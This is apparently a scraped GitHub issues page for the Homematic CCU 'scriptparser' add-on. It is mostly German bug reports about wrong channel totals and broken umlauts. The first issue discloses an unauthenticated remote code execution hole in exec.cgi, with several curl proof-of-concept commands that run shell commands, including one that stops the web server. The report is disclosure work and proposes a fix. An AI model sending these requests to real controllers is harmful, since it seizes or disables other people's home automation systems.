homematic-community / scriptparser Goto Github PK

Just in case the Script Parser AddOn is a popular installed software, it can be used by an unauthenticated attacker with access to the web interface for any Remote Code Execution on Homematic CCU.

You may add a login session validation to exec.cgi as shown in PR homematic-community/XML-API#31 for XML-API
Otherwise such calls are possible:

curl -X POST -i 'http://1.2.3.4/addons/script/exec.cgi' --data 'var x=system.Exec("sleep 4;");'
curl -X POST -i 'http://1.2.3.4/addons/script/exec.cgi' --data 'var x=system.Exec("/bin/touch /tmp/testfile;");'
curl -X POST -i 'http://1.2.3.4/addons/script/exec.cgi' --data 'var x=system.Exec("/etc/init.d/S50lighttpd stop;");'
curl -X POST -i 'http://1.2.3.4/addons/script/exec.cgi' --data 'var x=dom.GetObject("CUxD.CUX2801001:1.CMD_EXEC").State("/bin/touch /tmp/testfile");'
curl -X POST -i 'http://1.2.3.4/addons/script/exec.cgi' --data 'var x=dom.GetObject("CUxD.CUX2801001:1.CMD_EXEC").State("/etc/init.d/S50lighttpd stop");'

Die Anzahl der Kanäle in der Summe ist leider immer noch falsch.

6 Kanäle in 180 Geräten:

Beim Ausführen bekomme immer nur diese Error, auch mit nur Hello Word...

vg
Andreas

like the hm_print ccu addon repo, please move this repo also to the @homematic-community organization.

Version 1.7

die deutschen Umlaute, die in der V 1.5 noch richtig ausgegeben wurden, sind jetzt falsch. Zumindest in der Ergebniszeile.

6 Kanäle in 180 Geräten:

In der Geräteliste sind die Umlaute richtig

91 000198A98BB224 HMIP-WRC2 (EG_Küche_Spüle_Ta)

Version 1.5
Button "CCU-Inventur"
Ergebnis: 6 Kanäle in 180 Geräten

richtig wäre: 594 Kanäle in 179 Geräten

Die 6 Kanäle könnten aus dem 180ten Gerät kommen. Das würde bedeuten, es wird nicht summiert, oder die falsche variable ausgegeben.